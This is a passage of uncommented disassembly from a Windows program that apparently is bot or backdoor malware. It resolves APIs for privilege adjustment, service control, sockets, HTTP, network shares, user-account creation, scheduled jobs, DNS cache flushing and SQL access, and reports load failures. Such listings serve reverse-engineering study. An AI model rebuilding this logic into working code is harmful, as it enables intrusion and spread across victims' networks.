ebx jz short loc_407646 cmp dword_44CD00, ebx jz short loc_407646 cmp dword_44CBF8, ebx jz short loc_407646 cmp dword_44CC54, ebx jz short loc_407646 cmp eax, ebx jnz short loc_407650 loc_407646: ; CODE XREF: sub_4073B6+26Aj ; sub_4073B6+272j ... mov dword_44CDA8, 1 loc_407650: ; CODE XREF: sub_4073B6+28Ej push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; sub_74AAC1 push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_44CCC0, eax call esi ; sub_74AAC1 push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_44CC9C, eax call esi ; sub_74AAC1 cmp dword_44CCC0, ebx mov dword_44CD44, eax jz short loc_40768B cmp dword_44CC9C, ebx jz short loc_40768B cmp eax, ebx jnz short loc_407695 loc_40768B: ; CODE XREF: sub_4073B6+2C7j ; sub_4073B6+2CFj mov dword_44CDA8, 1 loc_407695: ; CODE XREF: sub_4073B6+2D3j push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi ; sub_74AAC1 push offset aOpenservicea ; "OpenServiceA" push edi mov dword_44CCD0, eax call esi ; sub_74AAC1 push offset aStartservicea ; "StartServiceA" push edi mov dword_44CBD4, eax call esi ; sub_74AAC1 push offset aControlservice ; "ControlService" push edi mov dword_44CBDC, eax call esi ; sub_74AAC1 push offset aDeleteservice ; "DeleteService" push edi mov dword_44CC3C, eax call esi ; sub_74AAC1 push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_44CC40, eax call esi ; sub_74AAC1 push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_44CBF0, eax call esi ; sub_74AAC1 push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_44CCA0, eax call esi ; sub_74AAC1 cmp dword_44CCD0, ebx mov dword_44CBE0, eax jz short loc_407739 cmp dword_44CBD4, ebx jz short loc_407739 cmp dword_44CBDC, ebx jz short loc_407739 cmp dword_44CC3C, ebx jz short loc_407739 cmp dword_44CC40, ebx jz short loc_407739 cmp dword_44CBF0, ebx jz short loc_407739 cmp dword_44CCA0, ebx jz short loc_407739 cmp eax, ebx jnz short loc_407743 loc_407739: ; CODE XREF: sub_4073B6+34Dj ; sub_4073B6+355j ... mov dword_44CDA8, 1 loc_407743: ; CODE XREF: sub_4073B6+381j push offset aGetusernamea ; "GetUserNameA" push edi call esi ; sub_74AAC1 cmp eax, ebx mov dword_44CBD8, eax jnz short loc_40776B jmp short loc_407761 ; --------------------------------------------------------------------------- loc_407756: ; CODE XREF: sub_4073B6+210j call ds:off_41F06C mov dword_44CDAC, eax loc_407761: ; CODE XREF: sub_4073B6+39Ej mov dword_44CDA8, 1 loc_40776B: ; CODE XREF: sub_4073B6+39Cj push offset aGdi32_dll ; "gdi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_407837 push offset aCreatedca ; "CreateDCA" push edi call esi ; sub_74AAC1 push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_44CCC8, eax call esi ; sub_74AAC1 push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_44CD1C, eax call esi ; sub_74AAC1 push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_44CD24, eax call esi ; sub_74AAC1 push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_44CCE4, eax call esi ; sub_74AAC1 push offset aSelectobject ; "SelectObject" push edi mov dword_44CC1C, eax call esi ; sub_74AAC1 push offset aBitblt ; "BitBlt" push edi mov dword_44CBCC, eax call esi ; sub_74AAC1 push offset aDeletedc ; "DeleteDC" push edi mov dword_44CD20, eax call esi ; sub_74AAC1 push offset aDeleteobject ; "DeleteObject" push edi mov dword_44CBB8, eax call esi ; sub_74AAC1 cmp dword_44CCC8, ebx mov dword_44CC4C, eax jz short loc_407842 cmp dword_44CD1C, ebx jz short loc_407842 cmp dword_44CD24, ebx jz short loc_407842 cmp dword_44CCE4, ebx jz short loc_407842 cmp dword_44CC1C, ebx jz short loc_407842 cmp dword_44CBCC, ebx jz short loc_407842 cmp dword_44CD20, ebx jz short loc_407842 cmp dword_44CBB8, ebx jz short loc_407842 cmp eax, ebx jnz short loc_40784C jmp short loc_407842 ; --------------------------------------------------------------------------- loc_407837: ; CODE XREF: sub_4073B6+3C0j call ds:off_41F06C mov dword_44CDB4, eax loc_407842: ; CODE XREF: sub_4073B6+441j ; sub_4073B6+449j ... mov dword_44CDB0, 1 loc_40784C: ; CODE XREF: sub_4073B6+47Dj mov ebp, ds:off_41F0A8 push offset aWs2_32_dll ; "ws2_32.dll" call ebp ; sub_747AEC mov edi, eax cmp edi, ebx jz loc_407B08 push offset aWsastartup ; "WSAStartup" push edi call esi ; sub_74AAC1 push offset aWsasocketa ; "WSASocketA" push edi mov dword_44CC60, eax call esi ; sub_74AAC1 push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_44CD7C, eax call esi ; sub_74AAC1 push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_44CC08, eax call esi ; sub_74AAC1 push offset aWsaioctl ; "WSAIoctl" push edi mov dword_44CBE4, eax call esi ; sub_74AAC1 push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_44CC8C, eax call esi ; sub_74AAC1 push offset aWsacleanup ; "WSACleanup" push edi mov dword_44CC78, eax call esi ; sub_74AAC1 push offset aSocket ; "socket" push edi mov dword_44CC48, eax call esi ; sub_74AAC1 push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_44CD58, eax call esi ; sub_74AAC1 push offset aConnect ; "connect" push edi mov dword_44CD74, eax call esi ; sub_74AAC1 push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_44CC88, eax call esi ; sub_74AAC1 push offset aInet_addr ; "inet_addr" push edi mov dword_44CD64, eax call esi ; sub_74AAC1 push offset aHtons ; "htons" push edi mov dword_44CD18, eax call esi ; sub_74AAC1 push offset aHtonl ; "htonl" push edi mov dword_44CCDC, eax call esi ; sub_74AAC1 push offset aNtohs ; "ntohs" push edi mov dword_44CCD8, eax call esi ; sub_74AAC1 push offset aNtohl ; "ntohl" push edi mov dword_44CC28, eax call esi ; sub_74AAC1 push offset aSend ; "send" push edi mov dword_44CC20, eax call esi ; sub_74AAC1 push offset aSendto ; "sendto" push edi mov dword_44CD28, eax call esi ; sub_74AAC1 push offset aRecv ; "recv" push edi mov dword_44CD3C, eax call esi ; sub_74AAC1 push offset aRecvfrom ; "recvfrom" push edi mov dword_44CCF4, eax call esi ; sub_74AAC1 mov dword_44CCB4, eax push offset aBind ; "bind" push edi call esi ; sub_74AAC1 push offset aSelect ; "select" push edi mov dword_44CD08, eax call esi ; sub_74AAC1 push offset aListen ; "listen" push edi mov dword_44CCC4, eax call esi ; sub_74AAC1 push offset aAccept ; "accept" push edi mov dword_44CD04, eax call esi ; sub_74AAC1 push offset aSetsockopt ; "setsockopt" push edi mov dword_44CD6C, eax call esi ; sub_74AAC1 push offset aGetsockname ; "getsockname" push edi mov dword_44CCBC, eax call esi ; sub_74AAC1 push offset aGethostname ; "gethostname" push edi mov dword_44CC84, eax call esi ; sub_74AAC1 push offset aGethostbyname ; "gethostbyname" push edi mov dword_44CCF0, eax call esi ; sub_74AAC1 push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_44CD5C, eax call esi ; sub_74AAC1 push offset aGetpeername ; "getpeername" push edi mov dword_44CC98, eax call esi ; sub_74AAC1 push offset aClosesocket ; "closesocket" push edi mov dword_44CC44, eax call esi ; sub_74AAC1 cmp dword_44CC60, ebx mov dword_44CD70, eax jz loc_407B13 cmp dword_44CD7C, ebx jz loc_407B13 cmp dword_44CC08, ebx jz loc_407B13 cmp dword_44CC8C, ebx jz loc_407B13 cmp dword_44CC78, ebx jz loc_407B13 cmp dword_44CC48, ebx jz loc_407B13 cmp dword_44CD58, ebx jz loc_407B13 cmp dword_44CD74, ebx jz loc_407B13 cmp dword_44CC88, ebx jz loc_407B13 cmp dword_44CD64, ebx jz loc_407B13 cmp dword_44CD18, ebx jz loc_407B13 cmp dword_44CCDC, ebx jz loc_407B13 cmp dword_44CCD8, ebx jz loc_407B13 cmp dword_44CC28, ebx jz short loc_407B13 cmp dword_44CD28, ebx jz short loc_407B13 cmp dword_44CD3C, ebx jz short loc_407B13 cmp dword_44CCF4, ebx jz short loc_407B13 cmp dword_44CCB4, ebx jz short loc_407B13 cmp dword_44CD08, ebx jz short loc_407B13 cmp dword_44CCC4, ebx jz short loc_407B13 cmp dword_44CD04, ebx jz short loc_407B13 cmp dword_44CD6C, ebx jz short loc_407B13 cmp dword_44CCBC, ebx jz short loc_407B13 cmp dword_44CC84, ebx jz short loc_407B13 cmp dword_44CCF0, ebx jz short loc_407B13 cmp dword_44CD5C, ebx jz short loc_407B13 cmp dword_44CC98, ebx jz short loc_407B13 cmp eax, ebx jnz short loc_407B1D jmp short loc_407B13 ; --------------------------------------------------------------------------- loc_407B08: ; CODE XREF: sub_4073B6+4A7j call ds:off_41F06C mov dword_44CDBC, eax loc_407B13: ; CODE XREF: sub_4073B6+646j ; sub_4073B6+652j ... mov dword_44CDB8, 1 loc_407B1D: ; CODE XREF: sub_4073B6+74Ej push offset aWininet_dll ; "wininet.dll" call ebp ; sub_747AEC mov edi, eax cmp edi, ebx jz loc_407C22 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi ; sub_74AAC1 push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_44CC30, eax call esi ; sub_74AAC1 push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_44CBC0, eax call esi ; sub_74AAC1 push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_44CCA8, eax call esi ; sub_74AAC1 push offset aInternetconnec ; "InternetConnectA" push edi mov dword_44CC64, eax call esi ; sub_74AAC1 push offset aInternetopena ; "InternetOpenA" push edi mov dword_44CCB0, eax call esi ; sub_74AAC1 push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_44CC7C, eax call esi ; sub_74AAC1 push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_44CBFC, eax call esi ; sub_74AAC1 push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_44CBF4, eax call esi ; sub_74AAC1 push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_44CC04, eax call esi ; sub_74AAC1 cmp dword_44CC30, ebx mov ecx, dword_44CC7C mov dword_44CD0C, eax jz short loc_407BFE cmp dword_44CBC0, ebx jz short loc_407BFE cmp dword_44CCA8, ebx jz short loc_407BFE cmp dword_44CC64, ebx jz short loc_407BFE cmp dword_44CCB0, ebx jz short loc_407BFE cmp ecx, ebx jz short loc_407BFE cmp dword_44CBFC, ebx jz short loc_407BFE cmp dword_44CBF4, ebx jz short loc_407BFE cmp dword_44CC04, ebx jz short loc_407BFE cmp eax, ebx jnz short loc_407C08 loc_407BFE: ; CODE XREF: sub_4073B6+806j ; sub_4073B6+80Ej ... mov dword_44CDC0, 1 loc_407C08: ; CODE XREF: sub_4073B6+846j cmp ecx, ebx jz short loc_407C3D push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx ; InternetOpenA cmp eax, ebx mov dword_44CC90, eax jnz short loc_407C3D jmp short loc_407C37 ; --------------------------------------------------------------------------- loc_407C22: ; CODE XREF: sub_4073B6+772j call ds:off_41F06C mov dword_44CDC4, eax mov dword_44CDC0, 1 loc_407C37: ; CODE XREF: sub_4073B6+86Aj mov dword_44CC90, ebx loc_407C3D: ; CODE XREF: sub_4073B6+854j ; sub_4073B6+868j push offset aIcmp_dll ; "icmp.dll" call ebp ; sub_747AEC mov edi, eax cmp edi, ebx jz short loc_407C87 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi ; sub_74AAC1 push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_44CC70, eax call esi ; sub_74AAC1 push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_44CD90, eax call esi ; sub_74AAC1 cmp dword_44CC70, ebx mov dword_44CC10, eax jz short loc_407C92 cmp dword_44CD90, ebx jz short loc_407C92 cmp eax, ebx jnz short loc_407C9C jmp short loc_407C92 ; --------------------------------------------------------------------------- loc_407C87: ; CODE XREF: sub_4073B6+892j call ds:off_41F06C mov dword_44CDCC, eax loc_407C92: ; CODE XREF: sub_4073B6+8C1j ; sub_4073B6+8C9j ... mov dword_44CDC8, 1 loc_407C9C: ; CODE XREF: sub_4073B6+8CDj push offset aNetapi32_dll ; "netapi32.dll" call ebp ; sub_747AEC mov edi, eax cmp edi, ebx jz loc_407D92 push offset aNetshareadd ; "NetShareAdd" push edi call esi ; sub_74AAC1 push offset aNetsharedel ; "NetShareDel" push edi mov dword_44CBEC, eax call esi ; sub_74AAC1 push offset aNetshareenum ; "NetShareEnum" push edi mov dword_44CBC8, eax call esi ; sub_74AAC1 push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_44CC38, eax call esi ; sub_74AAC1 push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_44CC68, eax call esi ; sub_74AAC1 push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_44CD68, eax call esi ; sub_74AAC1 push offset aNetuseradd ; "NetUserAdd" push edi mov dword_44CC24, eax call esi ; sub_74AAC1 push offset aNetuserdel ; "NetUserDel" push edi mov dword_44CBD0, eax call esi ; sub_74AAC1 push offset aNetuserenum ; "NetUserEnum" push edi mov dword_44CBC4, eax call esi ; sub_74AAC1 push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_44CC50, eax call esi ; sub_74AAC1 push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_44CD30, eax call esi ; sub_74AAC1 cmp dword_44CBEC, ebx mov dword_44CCEC, eax jz short loc_407D9D cmp dword_44CBC8, ebx jz short loc_407D9D cmp dword_44CC38, ebx jz short loc_407D9D cmp dword_44CC68, ebx jz short loc_407D9D cmp dword_44CD68, ebx jz short loc_407D9D cmp dword_44CC24, ebx jz short loc_407D9D cmp dword_44CBD0, ebx jz short loc_407D9D cmp dword_44CBC4, ebx jz short loc_407D9D cmp dword_44CC50, ebx jz short loc_407D9D cmp dword_44CD30, ebx jz short loc_407D9D cmp eax, ebx jnz short loc_407DA7 jmp short loc_407D9D ; --------------------------------------------------------------------------- loc_407D92: ; CODE XREF: sub_4073B6+8F1j call ds:off_41F06C mov dword_44CDD4, eax loc_407D9D: ; CODE XREF: sub_4073B6+98Cj ; sub_4073B6+994j ... mov dword_44CDD0, 1 loc_407DA7: ; CODE XREF: sub_4073B6+9D8j push offset aDnsapi_dll ; "dnsapi.dll" call ebp ; sub_747AEC mov edi, eax cmp edi, ebx jz short loc_407DDC push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi ; sub_74AAC1 push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_44CC14, eax call esi ; sub_74AAC1 cmp dword_44CC14, ebx mov dword_44CCD4, eax jz short loc_407DE7 cmp eax, ebx jnz short loc_407DF1 jmp short loc_407DE7 ; --------------------------------------------------------------------------- loc_407DDC: ; CODE XREF: sub_4073B6+9FCj call ds:off_41F06C mov dword_44CDDC, eax loc_407DE7: ; CODE XREF: sub_4073B6+A1Ej ; sub_4073B6+A24j mov dword_44CDD8, 1 loc_407DF1: ; CODE XREF: sub_4073B6+A22j push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp ; sub_747AEC mov edi, eax cmp edi, ebx jz short loc_407E26 push offset aGetipnettable ; "GetIpNetTable" push edi call esi ; sub_74AAC1 push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_44CD54, eax call esi ; sub_74AAC1 cmp dword_44CD54, ebx mov dword_44CD50, eax jz short loc_407E31 cmp eax, ebx jnz short loc_407E3B jmp short loc_407E31 ; --------------------------------------------------------------------------- loc_407E26: ; CODE XREF: sub_4073B6+A46j call ds:off_41F06C mov dword_44CDE4, eax loc_407E31: ; CODE XREF: sub_4073B6+A68j ; sub_4073B6+A6Ej mov dword_44CDE0, 1 loc_407E3B: ; CODE XREF: sub_4073B6+A6Cj push offset aMpr_dll ; "mpr.dll" call ebp ; sub_747AEC mov edi, eax cmp edi, ebx jz short loc_407E9A push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi ; sub_74AAC1 push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_44CD80, eax call esi ; sub_74AAC1 push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_44CD78, eax call esi ; sub_74AAC1 push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_44CD40, eax call esi ; sub_74AAC1 cmp dword_44CD80, ebx mov dword_44CC2C, eax jz short loc_407EA5 cmp dword_44CD78, ebx jz short loc_407EA5 cmp dword_44CD40, ebx jz short loc_407EA5 cmp eax, ebx jnz short loc_407EAF jmp short loc_407EA5 ; --------------------------------------------------------------------------- loc_407E9A: ; CODE XREF: sub_4073B6+A90j call ds:off_41F06C mov dword_44CDEC, eax loc_407EA5: ; CODE XREF: sub_4073B6+ACCj ; sub_4073B6+AD4j ... mov dword_44CDE8, 1 loc_407EAF: ; CODE XREF: sub_4073B6+AE0j push offset aShell32_dll ; "shell32.dll" call ebp ; sub_747AEC mov edi, eax cmp edi, ebx jz short loc_407EE4 push offset aShellexecutea ; "ShellExecuteA" push edi call esi ; sub_74AAC1 push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_44CC5C, eax call esi ; sub_74AAC1 cmp dword_44CC5C, ebx mov dword_44CD4C, eax jz short loc_407EEF cmp eax, ebx jnz short loc_407EF9 jmp short loc_407EEF ; --------------------------------------------------------------------------- loc_407EE4: ; CODE XREF: sub_4073B6+B04j call ds:off_41F06C mov dword_44CDF4, eax loc_407EEF: ; CODE XREF: sub_4073B6+B26j ; sub_4073B6+B2Cj mov dword_44CDF0, 1 loc_407EF9: ; CODE XREF: sub_4073B6+B2Aj push offset aOdbc32_dll ; "odbc32.dll" call ebp ; sub_747AEC mov edi, eax cmp edi, ebx jz short loc_407F82 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi ; sub_74AAC1 push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_44CD14, eax call esi ; sub_74AAC1 push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_44CD60, eax call esi ; sub_74AAC1 push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_44CCA4, eax call esi ; sub_74AAC1 push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_44CC6C, eax call esi ; sub_74AAC1 push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_44CCF8, eax call esi ; sub_74AAC1 cmp dword_44CD14, ebx mov dword_44CC74, eax jz short loc_407F8D cmp dword_44CD60, ebx jz short loc_407F8D cmp dword_44CCA4, ebx jz short loc_407F8D cmp dword_44CC6C, ebx jz short loc_407F8D cmp dword_44CCF8, ebx jz short loc_407F8D cmp eax, ebx jnz short loc_407F97 jmp short loc_407F8D ; --------------------------------------------------------------------------- loc_407F82: ; CODE XREF: sub_4073B6+B4Ej call ds:off_41F06C mov dword_44CDFC, eax loc_407F8D: ; CODE XREF: sub_4073B6+BA4j ; sub_4073B6+BACj ... mov dword_44CDF8, 1 loc_407F97: ; CODE XREF: sub_4073B6+BC8j push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_4073B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407F9F proc near ; CODE XREF: sub_40CC09+4D87p var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 100h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_44CD98, esi push edi mov edi, [ebp+arg_8] jz short loc_407FE7 push dword_44CD9C lea eax, [ebp+var_100] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_413812 push esi lea eax, [ebp+var_100] push edi push eax push ebx push [ebp+arg_0] call sub_40B2B5 add esp, 20h loc_407FE7: ; CODE XREF: sub_407F9F+1Aj cmp dword_44CDA0, esi jz short loc_40801B push dword_44CDA4 lea eax, [ebp+var_100] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_413812 push esi lea eax, [ebp+var_100] push edi push eax push ebx push [ebp+arg_0] call sub_40B2B5 add esp, 20h loc_40801B: ; CODE XREF: sub_407F9F+4Ej cmp dword_44CDA8, esi jz short loc_40804F push dword_44CDAC lea eax, [ebp+var_100] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_413812 push esi lea eax, [ebp+var_100] push edi push eax push ebx push [ebp+arg_0] call sub_40B2B5 add esp, 20h loc_40804F: ; CODE XREF: sub_407F9F+82j cmp dword_44CDB0, esi jz short loc_408083 push dword_44CDB4 lea eax, [ebp+var_100] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_413812 push esi lea eax, [ebp+var_100] push edi push eax push ebx push [ebp+arg_0] call sub_40B2B5 add esp, 20h loc_408083: ; CODE XREF: sub_407F9F+B6j cmp dword_44CDB8, esi jz short loc_4080B7 push dword_44CDBC lea eax, [ebp+var_100] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_413812 push esi lea eax, [ebp+var_100] push edi push eax push ebx push [ebp+arg_0] call sub_40B2B5 add esp, 20h loc_4080B7: ; CODE XREF: sub_407F9F+EAj cmp dword_44CDC0, esi jz short loc_4080EB push dword_44CDC4 lea eax, [ebp+var_100] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_413812 push esi lea eax, [ebp+var_100] push edi push eax push ebx push [ebp+arg_0] call sub_40B2B5 add esp, 20h loc_4080EB: ; CODE XREF: sub_407F9F+11Ej cmp dword_44CDC8, esi jz short loc_40811F push dword_44CDCC lea eax, [ebp+var_100] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_413812 push esi lea eax, [ebp+var_100] push edi push eax push ebx push [ebp+arg_0] call sub_40B2B5 add esp, 20h loc_40811F: ; CODE XREF: sub_407F9F+152j cmp dword_44CDD0, esi jz short loc_408153 push dword_44CDD4 lea eax, [ebp+var_100] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_413812 push esi lea eax, [ebp+var_100] push edi push eax push ebx push [ebp+arg_0] call sub_40B2B5 add esp, 20h loc_408153: ; CODE XREF: sub_407F9F+186j cmp dword_44CDD8, esi jz short loc_408187 push dword_44CDDC lea eax, [ebp+var_100] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_413812 push esi lea eax, [ebp+var_100] push edi push eax push ebx push [ebp+arg_0] call sub_40B2B5 add esp, 20h loc_408187: ; CODE XREF: sub_407F9F+1BAj cmp dword_44CDE0, esi jz short loc_4081BB push dword_44CDE4 lea eax, [ebp+var_100] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_413812 push esi lea eax, [ebp+var_100] push edi push eax push ebx push [ebp+arg_0] call sub_40B2B5 add esp, 20h loc_4081BB: ; CODE XREF: sub_407F9F+1EEj cmp dword_44CDE8, esi jz short loc_4081EF push dword_44CDEC lea eax, [ebp+var_100] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_413812 push esi lea eax, [ebp+var_100] push edi push eax push ebx push [ebp+arg_0] call sub_40B2B5 add esp, 20h loc_4081EF: ; CODE XREF: sub_407F9F+222j cmp dword_44CDF0, esi jz short loc_408223 push dword_44CDF4 lea eax, [ebp+var_100] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_413812 push esi lea eax, [ebp+var_100] push edi push eax push ebx push [ebp+arg_0] call sub_40B2B5 add esp, 20h loc_408223: ; CODE XREF: sub_407F9F+256j cmp dword_44CDF8, esi jz short loc_408257 push dword_44CDFC lea eax, [ebp+var_100] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_413812 push esi lea eax, [ebp+var_100] push edi push eax push ebx push [ebp+arg_0] call sub_40B2B5 add esp, 20h loc_408257: ; CODE XREF: sub_407F9F+28Aj lea eax, [ebp+var_100] push offset unk_426D5C push eax call sub_413812 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_408284 push esi lea eax, [ebp+var_100] push edi push eax push ebx push [ebp+arg_0] call sub_40B2B5 add esp, 14h loc_408284: ; CODE XREF: sub_407F9F+2CEj lea eax, [ebp+var_100] push eax call sub_409833 pop ecx pop edi pop esi pop ebx leave retn sub_407F9F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408296 proc near ; CODE XREF: sub_40CC09+C4Dp ; sub_40CC09+C81p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_408321 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_408321 cmp [ebp+arg_8], esi jz short loc_408321 cmp byte ptr [eax], 0 jz short loc_408321 push ebx push edi call sub_41E09E mov ebx, eax pop ecx test ebx, ebx jz short loc_40831C push [ebp+arg_4] push edi call sub_413DE0 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_408315 sub eax, edi push eax push edi push ebx call sub_415140 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_413E90 push eax push [ebp+arg_8] push ebx call sub_415310 push [ebp+arg_4] call sub_413E90 add eax, esi push eax push ebx call sub_414FC0 push ebx push edi call sub_414FB0 add esp, 30h mov esi, edi loc_408315: ; CODE XREF: sub_408296+3Cj push ebx call sub_413F7F pop ecx loc_40831C: ; CODE XREF: sub_408296+2Bj mov eax, esi pop ebx jmp short loc_408323 ; --------------------------------------------------------------------------- loc_408321: ; CODE XREF: sub_408296+Cj ; sub_408296+13j ... xor eax, eax loc_408323: ; CODE XREF: sub_408296+89j pop edi pop esi pop ebp retn sub_408296 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408327 proc near ; CODE XREF: sub_40CA91+E9p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_413890 mov esi, [ebp+arg_0] push esi call sub_413E90 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_40835D or eax, 0FFFFFFFFh jmp short loc_4083D0 ; --------------------------------------------------------------------------- loc_40835D: ; CODE XREF: sub_408327+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_40837F loc_408369: ; CODE XREF: sub_408327+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_408376 cmp dl, 0Dh jnz short loc_40837A loc_408376: ; CODE XREF: sub_408327+48j and byte ptr [ecx+esi], 0 loc_40837A: ; CODE XREF: sub_408327+4Dj inc ecx cmp ecx, eax jl short loc_408369 loc_40837F: ; CODE XREF: sub_408327+40j xor edx, edx push edi test eax, eax jle short loc_4083B0 lea edi, [ebp+var_7CC] loc_40838C: ; CODE XREF: sub_408327+87j cmp byte ptr [edx+esi], 0 jnz short loc_4083AB cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_4083AB cmp ebx, 1F4h jge short loc_4083B0 mov [edi], ecx inc ebx add edi, 4 loc_4083AB: ; CODE XREF: sub_408327+69j ; sub_408327+74j inc edx cmp edx, eax jl short loc_40838C loc_4083B0: ; CODE XREF: sub_408327+5Dj ; sub_408327+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_4083CE lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_4138F0 add esp, 0Ch loc_4083CE: ; CODE XREF: sub_408327+8Ej mov eax, ebx loc_4083D0: ; CODE XREF: sub_408327+34j pop esi pop ebx leave retn sub_408327 endp ; =============== S U B R O U T I N E ======================================= sub_4083D4 proc near ; CODE XREF: sub_40842E+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_40840D push ebx mov ebx, edi loc_4083F1: ; CODE XREF: sub_4083D4+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_408410 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_4083F1 pop ebx loc_40840D: ; CODE XREF: sub_4083D4+18j pop edi pop esi retn sub_4083D4 endp ; =============== S U B R O U T I N E ======================================= sub_408410 proc near ; CODE XREF: sub_4083D4+25p ; sub_40842E+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_415467 cmp al, 61h pop ecx jl short loc_40842B cmp al, 7Ah jg short loc_40842B movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_40842B: ; CODE XREF: sub_408410+Ej ; sub_408410+12j xor eax, eax retn sub_408410 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40842E proc near ; CODE XREF: sub_409913+A0p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_413E60 push ebx push esi push edi push [ebp+arg_0] call sub_413E90 push [ebp+arg_4] mov [ebp+var_4], eax call sub_413E90 